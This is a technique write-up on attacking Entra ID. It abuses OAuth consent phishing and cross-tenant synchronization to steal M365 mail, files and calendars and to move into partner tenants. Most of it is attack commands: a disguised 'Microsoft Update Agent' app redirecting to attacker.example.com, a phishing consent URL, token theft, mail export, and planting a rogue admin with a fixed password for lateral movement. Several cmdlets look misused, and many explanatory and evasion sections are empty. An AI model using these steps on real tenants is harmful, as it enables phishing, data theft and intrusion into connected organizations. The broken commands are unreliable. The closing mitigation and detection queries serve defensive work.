| Attribute | Details |
|---|---|
| Technique ID | LM-AUTH-025 |
| MITRE ATT&CK v18.1 | T1550 - Use Alternate Authentication Material |
| Tactic | Lateral Movement |
| Platforms | Entra ID, M365, multi-tenant SaaS |
| Severity | Critical |
| CVE | N/A (design weakness, not vulnerability) |
| Technique Status | ACTIVE |
| Last Verified | 2024-11-09 |
| Affected Versions | All Entra ID versions; OAuth 2.0 protocol (all versions) |
| Patched In | Not patched; requires architectural changes and external identity controls |
| Author | SERVTEP – Artur Pchelnikau |
Concept: Azure Entra ID supports multi-tenant applications that can request permissions from users in multiple organizations. When a user in Tenant A grants an application consent to access their data, the application receives an access token valid only for Tenant A. However, attackers can abuse the OAuth consent flow by: (1) Creating a malicious multi-tenant application that requests overly broad permissions; (2) Tricking users from Target Tenant into granting consent; (3) Using the obtained token to access resources in the target tenant; (4) Escalating to higher privileges or creating persistence mechanisms. Additionally, Tenant-to-Tenant synchronization (CTS) features introduced by Microsoft can be weaponized to move laterally across partner organizations without explicit user consent if proper access controls are not in place.
Attack Surface: Entra ID application consent screens, OAuth token endpoints, multi-tenant application registrations, external identity configurations, cross-tenant synchronization policies.
Business Impact: Unauthorized access to M365 resources, data exfiltration, privilege escalation, and lateral movement to partner organizations. Attackers can access user emails, Teams conversations, SharePoint documents, and OneDrive files from the compromised tenant and potentially move laterally to other connected tenants.
Technical Context: The OAuth consent model trusts users to make informed decisions about application permissions. If a user is tricked or if organizational controls are weak, attackers can gain persistent access tokens. Cross-tenant attacks are particularly dangerous because they bridge organizational boundaries, affecting not just the compromised organization but also connected partner organizations.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 1.1.2 | Prevent users from consenting to applications without organizational approval |
| DISA STIG | V-253001 | Application permission controls and consent policies |
| CISA SCuBA | IA-3, SI-4 | Application identification and consent monitoring |
| NIST 800-53 | AC-3, CA-7 | Access control for applications; continuous monitoring |
| GDPR | Art. 7, 32 | Explicit consent for data processing; security of data access |
| DORA | Art. 9, 21 | Third-party risk management; consent for critical functions |
| NIS2 | Art. 21, 23 | Risk management for third-party applications; incident response |
| ISO 27001 | A.5.1.2 | User consent and third-party access controls |
| ISO 27005 | Risk Scenario | “Unauthorized access via third-party application compromise” |
Supported Versions:
Tools:
Supported Versions: Entra ID all versions
Objective: Register a multi-tenant Entra ID application that will request overly broad permissions.
Command (Azure Portal - Manual Steps):
Microsoft Update Agent (legitimate-sounding name)https://attacker.example.com/auth/callbackCommand (PowerShell - Create Multi-Tenant App):
# Create multi-tenant application via Microsoft Graph
$app = New-AzureADApplication -DisplayName "Microsoft Update Agent" `
-AvailableToOtherTenants $true `
-SignInAudience "AzureADMultipleOrgs" `
-ReplyUrls "https://attacker.example.com/auth/callback"
$appId = $app.AppId
Write-Host "Application created: $appId"
# Add API permissions (Mail.Read, Calendars.Read, Files.Read)
Add-AzureADApplicationOAuth2PermissionGrant -ObjectId $app.ObjectId `
-ResourceId "00000003-0000-0000-c000-000000000000" `
-PermissionIds @("e1fe6dd8-ba31-4d61-89e7-88639da4683d", "465a38f9-76ea-45b9-9f34-9e8b0d4b9667")
Expected Output:
Application created: 12345678-1234-1234-1234-123456789012
Redirect URI: https://attacker.example.com/auth/callback
Permissions granted: Mail.Read, Calendars.Read, Files.Read
Application is multi-tenant enabled
What This Means:
OpSec & Evasion:
Troubleshooting:
References & Proofs:
Objective: Create a URL that tricks users into granting consent to the malicious application.
Command (URL Construction):
# OAuth 2.0 Authorization Code Flow consent request
https://login.microsoftonline.com/common/oauth2/v2.0/authorize?
client_id=12345678-1234-1234-1234-123456789012
&response_type=code
&scope=Mail.Read Calendars.Read Files.Read offline_access
&redirect_uri=https://attacker.example.com/auth/callback
&prompt=admin_consent
&tenant=common
# Simplified phishing link:
https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=12345678-1234-1234-1234-123456789012&scope=Mail.Read%20Files.Read%20offline_access&redirect_uri=https://attacker.example.com/auth/callback&response_type=code&prompt=admin_consent
Expected Output:
User is redirected to Microsoft login page
After login, user sees consent screen:
"Microsoft Update Agent is requesting access to:
- Read your mail
- Read your calendar
- Read your files
- Access data whenever you are away"
What This Means:
OpSec & Evasion:
Troubleshooting:
Objective: Convert the authorization code received after user consent into an access token.
Command (Token Exchange):
# After user grants consent, they are redirected to:
# https://attacker.example.com/auth/callback?code=<auth_code>&session_state=...
auth_code="M.R3_BAY.example_code_12345"
client_id="12345678-1234-1234-1234-123456789012"
client_secret="client_secret_from_azure_ad_app"
# Exchange authorization code for access token
access_token_response=$(curl -s -X POST \
"https://login.microsoftonline.com/common/oauth2/v2.0/token" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "client_id=$client_id" \
-d "client_secret=$client_secret" \
-d "code=$auth_code" \
-d "grant_type=authorization_code" \
-d "redirect_uri=https://attacker.example.com/auth/callback")
# Extract access token
access_token=$(echo $access_token_response | jq -r '.access_token')
refresh_token=$(echo $access_token_response | jq -r '.refresh_token')
echo "Access Token: $access_token"
echo "Refresh Token: $refresh_token"
Expected Output:
{
"access_token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IkN0VHVoTUZ1...",
"refresh_token": "0.ARwA7-example_refresh_token_long_string",
"expires_in": 3599,
"token_type": "Bearer",
"scope": "Mail.Read Files.Read offline_access"
}
What This Means:
OpSec & Evasion:
Troubleshooting:
Objective: Leverage the access token to read user emails, files, and calendar.
Command (Access M365 Resources):
# Use access token to query Microsoft Graph API
access_token="eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IkN0VHVoTUZ1..."
# List user's emails
curl -s -H "Authorization: Bearer $access_token" \
"https://graph.microsoft.com/v1.0/me/messages?$top=10" | jq '.value[].subject'
# List user's files
curl -s -H "Authorization: Bearer $access_token" \
"https://graph.microsoft.com/v1.0/me/drive/root/children" | jq '.value[].name'
# Get user's calendar events
curl -s -H "Authorization: Bearer $access_token" \
"https://graph.microsoft.com/v1.0/me/calendarview?startDateTime=2024-01-01T00:00:00Z&endDateTime=2024-12-31T23:59:59Z" | jq '.value[].subject'
# Export emails for exfiltration
curl -s -H "Authorization: Bearer $access_token" \
"https://graph.microsoft.com/v1.0/me/messages?$select=from,subject,receivedDateTime,bodyPreview" | jq '.value[]' > /tmp/emails.json
Expected Output:
Subject: "Security Update Required - Please Review"
Subject: "Q4 Financial Results (Confidential)"
Subject: "Client Proposal - New Contract Negotiations"
Files:
- "Confidential_Strategy_Document.xlsx"
- "2024_Budget_Plan.docx"
- "Employee_Database.csv"
Calendar Events:
- "Board Meeting - 2024-01-15T10:00:00Z"
- "M&A Discussion - 2024-02-20T14:00:00Z"
What This Means:
OpSec & Evasion:
Troubleshooting:
References & Proofs:
Supported Versions: Entra ID with CTS enabled (feature GA 2023+)
Objective: Discover organizations using CTS to move laterally to partner tenants.
Command (Azure CLI - Discover CTS):
# If attacker has access to a compromised tenant:
az account set --subscription "target-subscription"
# List all cross-tenant access policies
az ad app permission grant list --query "[*].[resourceAppId, consentType]"
# Check if CTS is configured (users/groups synced from other tenants)
az ad user list --filter "externalUserState eq 'Accepted'" --query "[*].[displayName, mail, userType]" | head -20
# List external identity sources
az ad cross-tenant-access-policy list
Expected Output:
Cross-Tenant Access Configuration found:
Source Tenant: 12345678-1234-1234-1234-111111111111 (Acme Corp)
Target Tenant: 87654321-4321-4321-4321-222222222222 (Partner Corp)
Synchronization Enabled: true
Synced Objects: Users, Groups, Applications
Inbound Trust: All apps allowed
What This Means:
Objective: Gain control of the source tenant’s CTS configuration to inject malicious users/identities.
Command (Modify CTS Configuration):
# If attacker has Global Admin in source tenant (Acme Corp):
$sourceTenant = "12345678-1234-1234-1234-111111111111"
$targetTenant = "87654321-4321-4321-4321-222222222222"
# Create a rogue user in the source tenant
$newUser = New-AzureADUser -DisplayName "Backup Administrator" `
-MailNickname "backupadmin" `
-UserPrincipalName "backupadmin@acmecorp.onmicrosoft.com" `
-PasswordProfile @{ForceChangePasswordNextSignIn = $false; Password = "NewP@ssw0rd123!"}
# Add the rogue user to the synced group that will be replicated to the target tenant
$syncedGroup = Get-AzureADGroup -Filter "displayName eq 'Global Admins Sync Group'"
Add-AzureADGroupMember -ObjectId $syncedGroup.ObjectId -RefObjectId $newUser.ObjectId
# Wait for synchronization cycle (typically 1-2 hours)
# The rogue user will now be synchronized to the target tenant with the same permissions
Expected Output:
Rogue user created: backupadmin@acmecorp.onmicrosoft.com
User added to synced group: Global Admins Sync Group
Synchronization will occur at next cycle (within 2 hours)
What This Means:
Objective: Authenticate to the target tenant as the synchronized rogue user.
Command (Lateral Movement):
# Use the rogue user's credentials to authenticate to the target tenant
az login --username "backupadmin@acmecorp.onmicrosoft.com" --password "NewP@ssw0rd123!" --tenant "87654321-4321-4321-4321-222222222222"
# The authentication succeeds because:
# 1. The user is synchronized from the source tenant (trusted identity)
# 2. The user has inherited the permissions of the synced group
# 3. The target tenant trusts the source tenant's CTS configuration
# List resources in the target tenant
az resource list --resource-group "target-rg"
# Access M365 resources of the target tenant
az account show --output table
Expected Output:
Successfully authenticated to target tenant as backupadmin@acmecorp.onmicrosoft.com
Resources accessible in target tenant:
- prod-vm-001 (Compute)
- prod-sql-server (Database)
- prod-storage-account (Storage)
What This Means:
# Disable the malicious application
Set-AzureADApplication -ObjectId "12345678-1234-1234-1234-123456789012" -AccountEnabled $false
# Revoke all consent grants
Get-AzureADMSServicePrincipalDelegatedPermissionClassification -ServicePrincipalId "12345678-1234-1234-1234-123456789012" |
Remove-AzureADMSServicePrincipalDelegatedPermissionClassification
# Sign out all users who granted consent to the application
Get-AzureADUser -Filter "createdDateTime gt 2024-01-01" |
Revoke-AzureADUserAllRefreshToken
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IA-PHISH-002] OAuth Consent Phishing | Attacker sends phishing email with OAuth consent link |
| 2 | Execution | [LM-AUTH-025] | User grants consent to malicious app; token obtained |
| 3 | Collection | Data exfiltration via Graph API (emails, files, contacts) | |
| 4 | Lateral Movement | Compromise source tenant for CTS abuse; move to partner organization | |
| 5 | Persistence | Rogue user synchronized via CTS for long-term access |
Implement Require User Consent Prompt for All Applications:
Force users to explicitly approve applications instead of allowing background consent grants.
Manual Steps (Azure Portal):
Manual Steps (Conditional Access Policy):
Block High-Risk Application ConsentDisable Admin Consent Workflow for New Applications:
Prevent attackers from granting permissions to all users via admin consent.
Manual Steps (Azure Portal):
Restrict Multi-Tenant Application Registration:
Limit which roles can create multi-tenant applications.
Manual Steps (Azure Portal):
Enable Application Consent Policy (ACP):
Use ACP to restrict which applications users can consent to.
Manual Steps (PowerShell):
# Create a consent policy that blocks high-risk permissions
$policy = New-AzureADMSConsentPolicy -DisplayName "Block Risky Permissions" `
-PermissionClassifications @("All") `
-IncludeApplications @() `
-ExcludeApplications @()
# Block Mail.Read permission for non-verified publishers
Set-AzureADMSApplicationDelegatedPermissionClassification -ServicePrincipalId "00000003-0000-0000-c000-000000000000" `
-PermissionId "e1fe6dd8-ba31-4d61-89e7-88639da4683d" `
-Classification "High"
Disable Cross-Tenant Synchronization (CTS) if Not Needed:
If CTS is not actively used for B2B collaboration, disable it to prevent abuse.
Manual Steps (Azure Portal):
Implement Application Vetting and Publishing Process:
Require applications to go through security review before becoming available to users.
Manual Steps:
Monitor and Alert on Suspicious Consent Activity:
Detect suspicious OAuth token exchange patterns.
Manual Steps (Microsoft Sentinel/KQL):
# Detect unusual application consent activity
AuditLogs
| where OperationName == "Add OAuth2PermissionGrant"
| where Properties contains "Mail.Read" or Properties contains "Files.Read"
| where TimeGenerated > ago(24h)
| project TimeGenerated, InitiatedBy.user.userPrincipalName, TargetResources[0].displayName, Properties
Severity: High
KQL Query:
AuditLogs
| where OperationName == "Add application"
| where Properties contains "availableToOtherTenants" or Properties contains "signInAudience"
| where Properties contains "AzureADMultipleOrgs"
| project TimeGenerated, InitiatedBy.user.userPrincipalName, TargetResources[0].displayName, Properties
Severity: Medium
KQL Query:
AADServicePrincipalSignInActivity
| where TimeGenerated > ago(1h)
| where SignInActivity == "OAuthTokenExchange"
| where ServicePrincipalName !in ("Microsoft Graph", "Office 365 Management API")
| where SignInCount > 50 // Bulk token requests
| project TimeGenerated, ServicePrincipalName, SignInCount, UniqueIPCount, ClientAppUsed
Severity: High
KQL Query:
AuditLogs
| where OperationName == "Add external identity user"
| where AdditionalDetails.externalUserState == "Accepted"
| where AdditionalDetails.externalUserState_PreviousValue != "Accepted"
| project TimeGenerated, TargetResources[0].displayName, AdditionalDetails.externalUserState, InitiatedBy.user.userPrincipalName
Not applicable – OAuth abuse is cloud-only; no on-premises event logs.
Not applicable – OAuth abuse is cloud-only; no endpoint-level indicators.
Manual Configuration:
# Search for all application consent grants in the past 30 days
Search-UnifiedAuditLog -StartDate (Get-Date).AddDays(-30) `
-Operations "Consent to application", "Add OAuth2PermissionGrant" `
-Output JSON |
Select-Object UserIds, CreationDate, AuditData |
Export-Csv -Path "C:\Evidence\oauth-consent-grants.csv"
Cross-tenant OAuth abuse and CTS weaponization represent a new attack surface in multi-tenant cloud environments. Attackers can trick users into granting excessive permissions to malicious applications, or if a tenant is compromised, they can inject malicious users into cross-tenant synchronization configurations to move laterally to partner organizations. Defense requires strict application consent controls, vetting of applications before users can access them, disabling CTS when not needed, and continuous monitoring for suspicious OAuth token patterns. Organizations must educate users about the risks of granting permissions to unfamiliar applications and implement zero-trust principles for third-party application access.